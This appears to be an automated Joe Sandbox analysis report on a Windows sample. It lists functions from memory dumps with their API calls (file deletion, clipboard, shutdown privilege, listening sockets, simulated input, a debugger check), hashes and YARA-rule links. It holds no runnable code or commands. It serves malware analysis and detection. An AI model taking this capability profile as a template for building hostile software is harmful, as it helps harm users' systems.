RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0084C2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0084C382
RegCloseKey.ADVAPI32(00000000), ref: 0084C38F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: 98b968e290ca8002cf2877ef93f6cf1f82766c5be7763a85645eac9e69f9c414
Instruction ID: 260a4fde1eb0085a46b46a62e372c514a7acb92afa9703b00995423552b7a087
Opcode Fuzzy Hash: 98b968e290ca8002cf2877ef93f6cf1f82766c5be7763a85645eac9e69f9c414
Instruction Fuzzy Hash: 3C023B71604204DFC754DF24C895E2ABBE9FF89318F18849DE84ACB2A2DB35EC45CB51

Function 0082D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007C3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007C3A97,?,?,007C2E7F,?,?,?,00000000), ref: 007C3AC2

Part of subcall function 0082E199: GetFileAttributesW.KERNEL32(?,0082CF95), ref: 0082E19A

FindFirstFileW.KERNEL32(?,?), ref: 0082D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0082D1DD
MoveFileW.KERNEL32(?,?), ref: 0082D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 0082D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 0082D237

Part of subcall function 0082D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0082D21C,?,?), ref: 0082D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 0082D253
FindClose.KERNEL32(00000000), ref: 0082D264

Strings

\*.*, xrefs: 0082D0CD, 0082D0D6, 0082D0EB

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 24186872c4590a091d124eb0753dd35f15ebdf2670069b5f3f7c20ca383c5d27
Instruction ID: 9fe4b491271b290dcad34dc5d42572d1cca295e1e6d1081bed61c7cd83211849
Opcode Fuzzy Hash: 24186872c4590a091d124eb0753dd35f15ebdf2670069b5f3f7c20ca383c5d27
Instruction Fuzzy Hash: E4613B3180121DEACF05EBA0E956EEDBBB5FF15305F208169E401B7191EB35AF49CB61

Function 0083ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0083ED91
EmptyClipboard.USER32 ref: 0083ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 0083EDAC
CloseClipboard.USER32 ref: 0083EEA3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 0e7c19d3b466dbeadc6d753668fcd6fbda10d6c330901570fb48b6f1e5d26c76
Instruction ID: fb1518ab664c1fdc34a772a98ec5f27192b69b53bafff1a7ba1903821226887f
Opcode Fuzzy Hash: 0e7c19d3b466dbeadc6d753668fcd6fbda10d6c330901570fb48b6f1e5d26c76
Instruction Fuzzy Hash: D5415A35604611AFE721DF19D888B2ABBE5FF84319F14809DE4198B6A2C779ED42CBD0

Function 0082E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 008216C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0082170D
Part of subcall function 008216C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0082173A
Part of subcall function 008216C3: GetLastError.KERNEL32 ref: 0082174A

ExitWindowsEx.USER32(?,00000000), ref: 0082E932

Strings

, xrefs: 0082E95C
, xrefs: 0082E920
SeShutdownPrivilege, xrefs: 0082E902
@, xrefs: 0082E925

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 8dcf975e2b9081bf01cfdfed69f9e263a867fd40f78e9c567a917a2081925c78
Instruction ID: 5071fd7efcbfa037d2953aaceb0d7643c6aeea112462caad5b8c042c399538a1
Opcode Fuzzy Hash: 8dcf975e2b9081bf01cfdfed69f9e263a867fd40f78e9c567a917a2081925c78
Instruction Fuzzy Hash: E8012672610334AFEF1426B8BC8ABBF765CF714745F150423FC12E21D1E6A45CC08698

Function 00841204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00841276
WSAGetLastError.WSOCK32 ref: 00841283
bind.WSOCK32(00000000,?,00000010), ref: 008412BA
WSAGetLastError.WSOCK32 ref: 008412C5
closesocket.WSOCK32(00000000), ref: 008412F4
listen.WSOCK32(00000000,00000005), ref: 00841303
WSAGetLastError.WSOCK32 ref: 0084130D
closesocket.WSOCK32(00000000), ref: 0084133C

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 9472d9678ec0d39e0cc8d7a695e916621de3202bd08b681fa75d9848e943e7ff
Instruction ID: e31c1f9b46b11e0b3bc09208e31a0e3681fe6d348abf86600727df05a71ed020
Opcode Fuzzy Hash: 9472d9678ec0d39e0cc8d7a695e916621de3202bd08b681fa75d9848e943e7ff
Instruction Fuzzy Hash: 0F416C316002149FDB10DF64C488B2ABBE5FF46319F18819CE856CB392C775EC81CBA1

Function 007FB952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007FB9D4
_free.LIBCMT ref: 007FB9F8
_free.LIBCMT ref: 007FBB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00863700), ref: 007FBB91
WideCharToMultiByte.KERNEL32(00000000,00000000,0089121C,000000FF,00000000,0000003F,00000000,?,?), ref: 007FBC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00891270,000000FF,?,0000003F,00000000,?), ref: 007FBC36
_free.LIBCMT ref: 007FBD4B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 22814db96b57b7ac7d10278d505dec51c32e51069708450d642cb5d09cfa0bb7
Instruction ID: 97dd219ba3d637d4252c21f76e7b2626a093dffbc6b6a9b921c71ddaa9a5642a
Opcode Fuzzy Hash: 22814db96b57b7ac7d10278d505dec51c32e51069708450d642cb5d09cfa0bb7
Instruction Fuzzy Hash: 43C12671A0420DEFCB20EF69DC45ABABBA9EF45310F18419AE690D7352E7389E41CB50

Function 0082D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007C3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007C3A97,?,?,007C2E7F,?,?,?,00000000), ref: 007C3AC2

Part of subcall function 0082E199: GetFileAttributesW.KERNEL32(?,0082CF95), ref: 0082E19A

FindFirstFileW.KERNEL32(?,?), ref: 0082D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 0082D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 0082D481
FindClose.KERNEL32(00000000), ref: 0082D498
FindClose.KERNEL32(00000000), ref: 0082D4A1

Strings

\*.*, xrefs: 0082D3F2

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: f080ed14bcdcb35b92ca70182a4d171dba9eec06ea348799033a864e714e2559
Instruction ID: 615641e02b6d5943bc765685a787c11ed9b49c04e975da90cbdd587b567bf55b
Opcode Fuzzy Hash: f080ed14bcdcb35b92ca70182a4d171dba9eec06ea348799033a864e714e2559
Instruction Fuzzy Hash: E9318D31008355AFC200EF64D89ADAFBBE8FE91305F404A1DF4D593191EB38AA098B67

Function 0083648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 008364DC
CoInitialize.OLE32(00000000), ref: 00836639
CoCreateInstance.OLE32(0085FCF8,00000000,00000001,0085FB68,?), ref: 00836650
CoUninitialize.OLE32 ref: 008368D4

Strings

.lnk, xrefs: 008364BA, 00836524, 008365E0

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 82dc1d7d0d5d69a94595fe6ed57ca5565697ca02c35e80f0e59637992db5096a
Instruction ID: 7884699bc9dbb1309ca1fcbc40d1f855f8448ad8baa7ef460a9ca958ba153c3f
Opcode Fuzzy Hash: 82dc1d7d0d5d69a94595fe6ed57ca5565697ca02c35e80f0e59637992db5096a
Instruction Fuzzy Hash: 40D13971508201AFC314EF24C885E6BB7E8FF98704F14896DF595CB291EB74E945CBA2

Function 008422DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 008422E8

Part of subcall function 0083E4EC: GetWindowRect.USER32(?,?), ref: 0083E504

GetDesktopWindow.USER32 ref: 00842312
GetWindowRect.USER32(00000000), ref: 00842319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00842355
GetCursorPos.USER32(?), ref: 00842381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 008423DF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: dd9985e5f5a9c662794e70c46682f5fa83c8b5e0c6fbeb9c4fe3f70b4ae4e12e
Instruction ID: 810de2bb071db58134cd9a79b7a1d84c68972a2eb8331a1207d564cb2832a679
Opcode Fuzzy Hash: dd9985e5f5a9c662794e70c46682f5fa83c8b5e0c6fbeb9c4fe3f70b4ae4e12e
Instruction Fuzzy Hash: 2031DE72508319AFC720DF58D849B5BBBA9FF88314F400919F985D7291DB34EA48CB96

Function 00839B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00839B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00839C8B

Part of subcall function 00833874: GetInputState.USER32 ref: 008338CB
Part of subcall function 00833874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00833966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00839BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00839C75

Strings

*.*, xrefs: 00839B5D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 56b5ef8e84294f5d511796ba9384d546c47c1ad99c760b3d7a06fa023f13132d
Instruction ID: 69db7511985cfd3faa8176fa24c7d23496105801718cfbc4fbe21910bf6d2b42
Opcode Fuzzy Hash: 56b5ef8e84294f5d511796ba9384d546c47c1ad99c760b3d7a06fa023f13132d
Instruction Fuzzy Hash: 1041607190420A9FCF14DF64C889AEEBBB8FF45311F144159E855E2191EB749E85CFA0

Function 007D997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 007D9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 007D9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 007D9A4E
GetSysColor.USER32(0000000F), ref: 007D9B23
SetBkColor.GDI32(?,00000000), ref: 007D9B36

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 9a1fc3f79f46ad1b95f674a0a4bbb3676a9e2d975e24e7bf8a9a3190ed163666
Instruction ID: 1b73b3625ebed584ce1ae6604f681e1587e7f5820f09ef493e7543b32790ef7d
Opcode Fuzzy Hash: 9a1fc3f79f46ad1b95f674a0a4bbb3676a9e2d975e24e7bf8a9a3190ed163666
Instruction Fuzzy Hash: 26A1F871208544FEE725AA2C8C5DDBB2ABDFF82340F19421FF602D67D1DA299D41D272

Function 00841806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0084304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0084307A
Part of subcall function 0084304E: _wcslen.LIBCMT ref: 0084309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0084185D
WSAGetLastError.WSOCK32 ref: 00841884
bind.WSOCK32(00000000,?,00000010), ref: 008418DB
WSAGetLastError.WSOCK32 ref: 008418E6
closesocket.WSOCK32(00000000), ref: 00841915

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: a85dc9b2d2efb2be5bea299e1687def5d80fa6576a38b8651a1e72d8afbe4b87
Instruction ID: 61198057010e9236d6574a5c344dcb625fd313f0edb6d14203b91329a2a66c33
Opcode Fuzzy Hash: a85dc9b2d2efb2be5bea299e1687def5d80fa6576a38b8651a1e72d8afbe4b87
Instruction Fuzzy Hash: 1951A271A00214AFDB10AF24C88AF2A7BE5EB45718F08805CF9069F3D3CB75AD41CBA1

Function 00851C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00851CC0
IsWindowEnabled.USER32 ref: 00851CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00851CDB
IsIconic.USER32 ref: 00851CE9
IsZoomed.USER32 ref: 00851CF7

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 943507f425d83afabc4d8a3012258e0015fc7d8f8b2ef89278f18bef483b11bc
Instruction ID: a2c8ba8d8b7389793ea3d61c618eb7c2403768451809dc1f898e63d3d1324611
Opcode Fuzzy Hash: 943507f425d83afabc4d8a3012258e0015fc7d8f8b2ef89278f18bef483b11bc
Instruction Fuzzy Hash: 3B2180317402119FDB218F1AC888F6A7BA5FF95316B19805CEC4ACB351DB76ED46CB90

Function 0082AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0082AAAC
SetKeyboardState.USER32(00000080), ref: 0082AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0082AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0082AB88

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 7961dd6c03edbb8bbcabffe87d8a2aaec5cc53b7caf6bcd33daf9b3c5cfc52c7
Instruction ID: a02fd9947cc954108be2aa766d480f81aafd8a272a73d776fd8b9a39641ec691
Opcode Fuzzy Hash: 7961dd6c03edbb8bbcabffe87d8a2aaec5cc53b7caf6bcd33daf9b3c5cfc52c7
Instruction Fuzzy Hash: C031E574A40368AFEB398A68AC05BFA7BA6FF54330F04421AE581D61D1D37589C5CB62

Function 00835C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00835CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00835D17
FindClose.KERNEL32(?), ref: 00835D5F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 1a7f06781fa7bad7fb78e92020f8500023fa971856637beb5ff7ed01e048c634
Instruction ID: 1105f6ec51c421ccc5d586200b0f04816739a7d7706ddbae902bc132fe05ee9f
Opcode Fuzzy Hash: 1a7f06781fa7bad7fb78e92020f8500023fa971856637beb5ff7ed01e048c634
Instruction Fuzzy Hash: B7517675604A019FC714DF28C498E9AB7E4FF89328F14856EE95ACB3A1CB34ED05CB91

Function 007F2622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 007F271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 007F2724
UnhandledExceptionFilter.KERNEL32(?), ref: 007F2731

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 10ebc894270e1cf23958aa9440172fbd19f18fc6110de857bbe4e9572936bc2f
Instruction ID: d3409b1ffeda1eb06b8e2ccdcd170fff83586d350365fc7d66be42ba85b96cd4
Opcode Fuzzy Hash: 10ebc894270e1cf23958aa9440172fbd19f18fc6110de857bbe4e9572936bc2f
Instruction Fuzzy Hash: EC31C27490131CEBCB21DF69DC88798BBB8BF08310F5041EAE90CA6261E7749F818F55

Function 008351CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 008351DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00835238
SetErrorMode.KERNEL32(00000000), ref: 008352A1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
